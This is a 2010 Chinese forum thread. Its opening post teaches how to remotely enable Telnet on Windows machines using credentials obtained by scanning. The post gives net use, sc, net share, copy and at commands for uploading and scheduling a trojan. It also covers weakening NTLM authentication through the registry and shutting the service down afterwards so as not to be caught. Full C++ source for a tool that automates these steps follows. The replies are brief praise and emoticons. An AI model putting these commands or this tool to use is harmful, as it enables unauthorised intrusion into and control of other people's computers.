免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 5188 | 回复: 9

远程开启telnet服务 [复制链接]

论坛徽章:
0
发表于 2010-07-23 19:04 |显示全部楼层
也许,你刚开始的时候跟我可能有同样的困惑,就是扫描到了一台主机的主机和密码,却苦于无法开启远程telnet服务而无法登录。。<br />现在我介绍一下怎样开启远程telnet服务。。<br />如何远程打开telnet服务?首先,你必须拿到你所要登录的主机用户名和密码,有了这2样就好办了,嘿嘿。。。<br />  <br />  --0、侦测远程机器口令,假如我获得用户名是administrator,密码是空的。。<br />  <br />  --1、netuse命令建立IPC连接<br />  net use [url=file://\\IP]\\IP[/url] password /user<img src="http://bbs.chinaitlab.com/images/smilies/mogutou/thumb_04sc23752.gif" smilieid="37" border="0" alt="" />dministrator<br />  <br />  --用sc命令把禁用的telnet服务变成自动 <br />  sc [url=file://\\IP]\\IP[/url] config tlntsvr start= auto <br />  <br />  --2、用sc命令将telnet启动 <br />  sc [url=file://\\IP]\\IP[/url] start tlntsvr<br />  <br />  --3、net share 建立c$共享 <br />  net share sharename=drive:path<br />  <br />  --4、copy命令上传木马 <br />  copy a.bat [url=file://\\192.168.0.1\c$]\\192.168.0.1\c$[/url]<br />  <br />  --5、at命令定时执行<br />  at [url=file://\\192.168.0.1]\\192.168.0.1[/url] time cmd <br />注意:如果对方采用了NTLM认证策略,可以连接网络注册表修改HKEYLOCAL\ MACHINE\SOFTWARE\MICROSOFT\TELNETSERVER\1.0下的NTLM键值由2改为0。<br />然后重新启动telnet服务。<br />  --6、用sc命令将telnet关闭 ,吃完鸡,别忘了把嘴上油给擦干净哦,被抓到了就不好了。。<br />  sc [url=file://\\IP]\\IP[/url] stop tlntsvr<br />  --7、用sc命令将telnet启动 <br />  sc [url=file://\\IP]\\IP[/url] start tlntsvr<br />以上只是用命令来实现的,其实也有一种更简单的方法,现在网上有人编写一个叫opentelnet的程序,初学者可以试试,挺方便的,不过貌似没什么技术含量,不过瘾。。。<br />下面我们来个更过瘾的,自己来编一个开启远程telnet服务的程序,O(∩_∩)O哈哈~。。<br />准备好编译器VC++ 6.0 ,如果你连这个都没的话,你就不要说你在IT界混了,编写一个C++ 程序。。。<br /><blockquote>//////////////////////////////////////////////////////////////////////////////// <br />// <br />// Telnet Remote Configure And Wake Up <br />// <br />//////////////////////////////////////////////////////////////////////////////// <br />#include &lt;stdio.h&gt; <br />#include &lt;assert.h&gt; <br />#include &lt;windows.h&gt; <br />#include &lt;Winnetwk.h&gt; <br />#include &lt;Winreg.h&gt; <br />#include &lt;Shlwapi.h&gt; <br />#pragma comment(lib, &quot;Advapi32.lib&quot <br />#pragma comment(lib, &quot;Mpr.lib&quot <br />SC_HANDLE g_schSCManager; <br />HKEY g_hKey; <br />DWORD g_DefaultTelnetStartType; <br />DWORD g_DefaultRegistryStartType; <br />LPBYTE g_lpDefaultTelnetNTLM; <br />LPBYTE g_lpDefaultTelnetPort; <br />void Usage(char*); <br />int RestartTelnet(); <br />int StartRemoteRegistry(); <br />int MyStartService(SC_HANDLE, char*); <br /><br />int main(int argc, char* argv[]) <br />{ <br />int nRetCode; <br />char szIpc[50] = &quot;&quot;; <br />HKEY hKey; <br />LPSTR lpUserName, lpPassword; <br />NETRESOURCE NET; <br />DWORD dwNTLM, dwTelnetPort; <br />Usage(argv[0]); <br />if (argc &lt; 5) <br />return 0; <br />sprintf (szIpc, &quot;%s\\ipc$&quot;, argv[1]); <br />lpUserName = argv[2]; <br />lpPassword = argv[3]; <br />NET.lpLocalName = NULL; <br />NET.lpRemoteName = szIpc; <br />NET.dwType = RESOURCETYPE_ANY; <br />NET.lpProvider = NULL; <br />printf (&quot;Connecting %s...&quot;,argv[1]); <br />ReConnect: <br />nRetCode = WNetCancelConnection2(szIpc, CONNECT_UPDATE_PROFILE, TRUE); <br />if (nRetCode == NO_ERROR) <br />printf (&quot;Canncel Successfully!\n&quot; <br />nRetCode = WNetAddConnection2(&amp;NET, lpPassword, lpUserName, CONNECT_INTERACTIVE); <br />if (nRetCode == ERROR_ALREADY_ASSIGNED || nRetCode == ERROR_DEVICE_ALREADY_REMEMBERED) <br />{ <br />printf (&quot;Already conneted to the server!\n&quot; <br />printf (&quot;Now re-connecting the server...\n&quot; <br />goto ReConnect; <br />} <br />else if (nRetCode == NO_ERROR) <br />printf (&quot;Successfully!\n&quot; <br />else <br />{ <br />printf (&quot;\n\tErr:&quot; <br />switch (nRetCode) <br />{ <br />case ERROR_ALREADY_ASSIGNED: <br /><br />case ERROR_ACCESS_DENIED: <br />printf (&quot;ERROR_ACCESS_DENIED\n&quot; <br />break; <br />case ERROR_BAD_NET_NAME: <br />printf (&quot;ERROR_BAD_NET_NAME\n&quot; <br />break; <br />default: <br />printf (&quot;CONNECT ERR:%d!\n&quot;,GetLastError()); <br />break; <br />} <br />return 0; <br />} <br />//open SCManager <br />g_schSCManager = OpenSCManager(argv[1], NULL, SC_MANAGER_ALL_ACCESS); <br />if (g_schSCManager == NULL) <br />{ <br />printf (&quot;Open SCManager failed!\n&quot; <br />return 0; <br />} <br />//check remote registry service is running <br />if (!StartRemoteRegistry()) <br />{ <br />printf (&quot;All Process Failed!\n&quot;); <br />return 0; <br />} <br />//open the registry <br />if (!(RegConnectRegistry((LPCTSTR) argv[1], HKEY_LOCAL_MACHINE, &amp;g_hKey) == ERROR_SUCCESS)) <br />{ <br />printf (&quot;Connect remote registry failed!\n&quot;); <br />return 0; <br />} <br />if (!(RegOpenKeyEx(g_hKey, &quot;SOFTWARE\\Microsoft\\TelnetServer\\1.0&quot;, 0, KEY_ALL_ACCESS, &amp;hKey) == ERROR_SUCCESS)) <br />{ <br />printf (&quot;Open key failed!\n&quot;); <br />return 0; <br />} <br />//read the registry for default config <br />g_lpDefaultTelnetNTLM = (LPBYTE) LocalAlloc(LPTR, 50); <br />g_lpDefaultTelnetPort = (LPBYTE) LocalAlloc(LPTR, 50); <br />DWORD dwDataSize = 50; <br />if (!(RegQueryValueEx(hKey, &quot;NTLM&quot;, NULL, NULL, g_lpDefaultTelnetNTLM, &amp;dwDataSize) == ERROR_SUCCESS)) <br />{ <br />printf (&quot;Read NTLM failed!\n &quot;); <br />return 0; <br />} <br />if (!(RegQueryValueEx(hKey, &quot;TelnetPort&quot;, NULL, NULL, g_lpDefaultTelnetPort, &amp;dwDataSize) == ERROR_SUCCESS)) <br />{ <br />printf (&quot;Read port failed!\n &quot;); <br />return 0; <br />} <br />//edit the registry <br />dwNTLM = atoi(argv[4]); <br />if (dwNTLM &gt;= 3) <br />{ <br />dwNTLM = 1; <br />} <br />dwTelnetPort = atoi(argv[5]); <br />if (!(RegSetValueEx(hKey, &quot;NTLM&quot;, 0, REG_DWORD, (LPBYTE) &amp;dwNTLM, sizeof(DWORD)) == ERROR_SUCCESS)) <br />{ <br />printf (&quot;Set NTLM value failed!&quot;); <br />return 0; <br />} <br />RegSetValueEx(hKey, &quot;TelnetPort&quot;, 0, REG_DWORD, (LPBYTE) &amp;dwTelnetPort, sizeof(DWORD)); <br />//restart telnet service <br />nRetCode = RestartTelnet(); <br />if (nRetCode) <br />{ <br />printf (&quot;\nBINGLE!!!Yeah!!\n&quot;); <br />printf (&quot;Telnet Port is %d. You can try:\&quot;telnet ip %d\&quot;, to connect the server!&quot;, dwTelnetPort, dwTelnetPort); <br />} <br />//remain the default setting <br />if (!(RegSetValueEx(hKey, &quot;default_NTLM&quot;, 0, REG_DWORD, g_lpDefaultTelnetNTLM, sizeof(DWORD)) == ERROR_SUCCESS)) <br />{ <br />printf (&quot;Set defaultNTLM value failed!&quot;); <br />return 0; <br />} <br />if (!(RegSetValueEx(hKey, &quot;default_Port&quot;, 0, REG_DWORD, g_lpDefaultTelnetPort, sizeof(DWORD)) == ERROR_SUCCESS)) <br />{ <br />printf (&quot;Set defaultPort value failed!&quot;); <br />return 0; <br />} <br />if (!(RegSetValueEx(hKey, &quot;default_TelnetStart&quot;, 0, REG_DWORD, (LPBYTE) &amp;g_DefaultTelnetStartType, sizeof(DWORD)) == ERROR_SUCCESS)) <br />{ <br />printf (&quot;Set defaulttelnetstart value failed!&quot;); <br />return 0; <br />} <br />if (!(RegSetValueEx(hKey, &quot;default_RegistryStart&quot;, 0, REG_DWORD, (LPBYTE) &amp;g_DefaultRegistryStartType, sizeof(DWORD)) == ERROR_SUCCESS)) <br />{ <br />printf (&quot;Set defaultregistrystart value failed!&quot;); <br />return 0; <br />} <br />RegCloseKey(hKey); <br />RegCloseKey(g_hKey); <br />//close SCManager <br />CloseServiceHandle(g_schSCManager); <br />//close the session with remote server <br />printf (&quot;\nDisconnecting server...&quot;); <br />nRetCode = WNetCancelConnection2(argv[1], CONNECT_UPDATE_PROFILE, TRUE); <br />if (nRetCode == NO_ERROR) <br />printf (&quot;Successfully!\n&quot;); <br />else <br />printf (&quot;Failed!\n&quot;); <br />return 0; <br />} <br />void Usage(char* pcAppName) <br />{ <br />printf (&quot;*******************************************************\n&quot;); <br />printf (&quot;Remote Telnet Configure, by refdom\n&quot;); <br />printf (&quot;Email: refdom@263.net\n&quot;); <br />printf (&quot;%s\n\n&quot;, pcAppName); <br />printf (&quot;Usage:OpenTelnet.exe [url=]\\\\server[/url] username password NTLMAuthor telnetport\n&quot;); <br />printf (&quot;*******************************************************\n&quot;); <br />return; <br />} <br />int RestartTelnet() <br />{ <br />DWORD dwWaitTime; <br />DWORD dwConfigSize; <br />SC_HANDLE schTelnetService; <br />SERVICE_STATUS ssTelnetStatus; <br />LPQUERY_SERVICE_CONFIG lpTelnetConfig; <br />printf (&quot;\nNOTICE!!!!!!\n&quot;); <br />printf (&quot;The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23\n\n&quot;); <br />//stop the telnet service <br />schTelnetService = OpenService(g_schSCManager, &quot;TlntSvr&quot;, SERVICE_ALL_ACCESS); <br />if (schTelnetService == NULL) <br />{ <br />printf (&quot;Open service failed!\n&quot;); <br />return 0; <br />} <br />lpTelnetConfig = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 1024); <br />if (lpTelnetConfig == NULL) <br />{ <br />printf (&quot;Alloc memory failed!\n&quot;); <br />return 0; <br />} <br />if (!QueryServiceConfig(schTelnetService, lpTelnetConfig, 1024, &amp;dwConfigSize)) <br />{ <br />printf (&quot;Query service congfig failed!\n&quot;); <br />return 0; <br />} <br />//remain the fault start ytpe of telnet service <br />g_DefaultTelnetStartType = lpTelnetConfig-&gt;dwStartType; <br />//change the start type of the telnet service <br />if (lpTelnetConfig-&gt;dwStartType == SERVICE_DISABLED) <br />{ <br />if (!ChangeServiceConfig(schTelnetService, <br />SERVICE_NO_CHANGE, <br />SERVICE_DEMAND_START, <br />SERVICE_NO_CHANGE, <br />NULL, NULL, NULL, NULL, NULL, NULL, NULL)) <br />{ <br />printf (&quot;Change service config failed!\n&quot;); <br />return 0; <br />} <br />} <br />if (!(QueryServiceStatus(schTelnetService, &amp;ssTelnetStatus))) <br />{ <br />printf (&quot;Query service status failed!\n&quot;); <br />return 0; <br />} <br />if (ssTelnetStatus.dwCurrentState != SERVICE_STOPPED &amp;&amp; ssTelnetStatus.dwCurrentState != SERVICE_STOP_PENDING) <br />{ <br />printf (&quot;Stopping telnet service ...\n&quot;); <br />if (!(ControlService(schTelnetService, SERVICE_CONTROL_STOP, &amp;ssTelnetStatus))) <br />{ <br />printf (&quot;Control telnet service status failed!\n&quot;); <br />return 0; <br />} <br />dwWaitTime = ssTelnetStatus.dwWaitHint / 10; <br />if( dwWaitTime &lt; 1000 ) <br />dwWaitTime = 1000; <br />else if ( dwWaitTime &gt; 10000 ) <br />dwWaitTime = 10000; <br />Sleep(dwWaitTime); <br />if (!QueryServiceStatus(schTelnetService, &amp;ssTelnetStatus)) <br />{ <br />printf (&quot;Query service status failed!\n&quot;); <br />} <br />if ( ssTelnetStatus.dwCurrentState == SERVICE_STOPPED || ssTelnetStatus.dwCurrentState == SERVICE_STOP_PENDING) <br />{ <br />printf (&quot;Telnet service is stopped successfully!\n&quot;); <br />} <br />else <br />{ <br />printf (&quot;Stopping telnet service failed!\n&quot;); <br />return 0; <br />} <br />} <br />//start the telnet service <br />if (!MyStartService(schTelnetService, &quot;telnet&quot;)) <br />return 0; <br />CloseServiceHandle(schTelnetService); <br />return 1; <br />} <br />int StartRemoteRegistry() <br />{ <br />SC_HANDLE schRegistryService; <br />SERVICE_STATUS ssRegistryStatus; <br />LPQUERY_SERVICE_CONFIG lpRegistryConfig; <br />DWORD dwConfigSize; <br />lpRegistryConfig = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 1024); <br />if (lpRegistryConfig == NULL) <br />{ <br />printf (&quot;Alloc memory failed!\n&quot;); <br />return 0; <br />} <br />schRegistryService = OpenService( g_schSCManager, &quot;RemoteRegistry&quot;, SERVICE_ALL_ACCESS); <br />if (schRegistryService == NULL) <br />{ <br />printf (&quot;Open remote registry service failed!\n&quot;); <br />return 0; <br />} <br />if (!QueryServiceConfig(schRegistryService, lpRegistryConfig, 1024, &amp;dwConfigSize)) <br />{ <br />printf (&quot;Query registry service config failed!\n&quot;); <br />return 0; <br />} <br />g_DefaultRegistryStartType = lpRegistryConfig-&gt;dwStartType; <br />if (g_DefaultRegistryStartType == SERVICE_DISABLED) <br />{ <br />if (!ChangeServiceConfig(schRegistryService, <br />SERVICE_NO_CHANGE, <br />SERVICE_DEMAND_START, <br />SERVICE_NO_CHANGE, <br />NULL, NULL, NULL, NULL, NULL, NULL,NULL)) <br />{ <br />printf (&quot;Change registry service config failed!\n&quot;); <br />return 0; <br />} <br />} <br />if (!QueryServiceStatus(schRegistryService, &amp;ssRegistryStatus)) <br />{ <br />printf (&quot;Query remote registry service failed!\n&quot;); <br />return 0; <br />} <br />if (ssRegistryStatus.dwCurrentState != SERVICE_RUNNING) <br />{ <br />if (!MyStartService(schRegistryService, &quot;remote registry&quot;)) <br />return 0; <br />} <br />CloseServiceHandle(schRegistryService); <br />return 1; <br />} <br />int MyStartService(SC_HANDLE schService, char* szServiceName) <br />{ <br />DWORD dwWaitTime; <br />DWORD dwOldCheckPoint; <br />DWORD dwStartTickCount; <br />SERVICE_STATUS ssStatus; <br />printf (&quot;Starting %s service...\n&quot;, szServiceName); <br />if (!(StartService(schService, 0, NULL))) <br />{ <br />printf (&quot;Starting %s service failed!\n&quot;, szServiceName); <br />return 0; <br />} <br />if (!(QueryServiceStatus(schService, &amp;ssStatus))) <br />{ <br />printf (&quot;Query %s service status failed!\n&quot;,szServiceName); <br />// return ; <br />} <br />dwStartTickCount = GetTickCount(); <br />dwOldCheckPoint = ssStatus.dwCheckPoint; <br />while ( ssStatus.dwCurrentState == SERVICE_START_PENDING) <br />{ <br />dwWaitTime = ssStatus.dwWaitHint / 10; <br />if( dwWaitTime &lt; 1000 ) <br />dwWaitTime = 1000; <br />else if ( dwWaitTime &gt; 10000 ) <br />dwWaitTime = 10000; <br />Sleep(dwWaitTime); <br />// Check the status again. <br />if (!QueryServiceStatus(schService, &amp;ssStatus)) <br />break; <br />if ( ssStatus.dwCheckPoint &gt; dwOldCheckPoint ) <br />{ <br />// The service is making progress. <br />dwStartTickCount = GetTickCount(); <br />dwOldCheckPoint = ssStatus.dwCheckPoint; <br />} <br />else <br />{ <br />if(GetTickCount()-dwStartTickCount &gt; ssStatus.dwWaitHint) <br />{ <br />// No progress made within the wait hint <br />break; <br />} <br />} <br />} <br />if ( ssStatus.dwCurrentState == SERVICE_RUNNING ) <br />{ <br />printf (&quot;%s service is started successfully! %s service is running!\n&quot;, szServiceName, szServiceName); <br />} <br />else <br />{ <br />printf (&quot;%s service is not started!\n&quot;, szServiceName); <br />return 0; <br />} <br />return 1; <br />} </blockquote>

论坛徽章:
0
发表于 2010-07-25 21:18 |显示全部楼层
//Url of the T-SQL file you want to run

论坛徽章:
0
发表于 2010-07-25 23:35 |显示全部楼层
如果我的计算机睡了,可以通过鼠标唤醒计算机。是否可以通过网卡唤醒计算机。怎样唤醒?如果我的计算机关机了,可以通过开机键开启计算机,是否可以通过网卡远程开启计算机?怎样开启?

论坛徽章:
0
发表于 2010-07-31 11:16 |显示全部楼层
厉害啊

论坛徽章:
0
发表于 2010-07-31 11:17 |显示全部楼层
复杂的代码

论坛徽章:
0
发表于 2010-08-02 09:24 |显示全部楼层
看着晕啊楼主!!

论坛徽章:
0
发表于 2010-09-15 18:28 |显示全部楼层
直接看不懂!

论坛徽章:
0
发表于 2010-09-22 18:33 |显示全部楼层
支持一下,不够看不懂!

论坛徽章:
0
发表于 2010-09-23 15:04 |显示全部楼层
<img src="http://bbs.chinaitlab.com/images/smilies/mogutou/thumb_05dq23939.gif" smilieid="43" border="0" alt="" /> <img src="http://bbs.chinaitlab.com/images/smilies/mogutou/thumb_04we59293.gif" smilieid="40" border="0" alt="" />

论坛徽章:
0
发表于 2010-09-26 13:54 |显示全部楼层
<img src="http://bbs.chinaitlab.com/images/smilies/default/handshake.gif" smilieid="17" border="0" alt="" /> <img src="http://bbs.chinaitlab.com/images/smilies/default/victory.gif" smilieid="14" border="0" alt="" /> <img src="http://bbs.chinaitlab.com/images/smilies/default/smile.gif" smilieid="1" border="0" alt="" />
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP